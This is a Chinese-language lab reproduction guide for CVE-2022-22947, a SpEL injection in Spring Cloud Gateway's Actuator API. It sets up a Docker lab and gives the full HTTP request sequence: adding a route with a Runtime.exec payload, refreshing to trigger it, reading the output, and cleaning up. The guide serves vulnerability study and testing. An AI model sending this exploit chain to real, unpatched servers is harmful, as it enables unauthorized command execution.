Spring Cloud Gateway是Spring中的一個API閘道器。其3.1.0及3.0.6版本（包含）以前存在一處SpEL表示式注入漏洞，當攻擊者可以訪問Actuator API的情況下，將可以利用該漏洞執行任意命令。

參考連結：

• https://tanzu.vmware.com/security/cve-2022-22947
• https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

漏洞環境

執行如下命令啟動一個使用了Spring Cloud Gateway 3.1.0的Web服務：

docker-compose up -d
 

服務啟動後，訪問http://your-ip:8080即可看到演示頁面，這個頁面的上游就是example.com。

漏洞復現

利用這個漏洞需要分多步。

首先，傳送如下資料包即可新增一個包含惡意SpEL表示式的路由：

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}
 

然後，傳送如下資料包應用剛新增的路由。這個資料包將觸發SpEL表示式的執行：

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


 

傳送如下資料包即可檢視執行結果：

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

最後，傳送如下資料包清理現場，刪除所新增的路由：

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

再重新整理下路由：

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0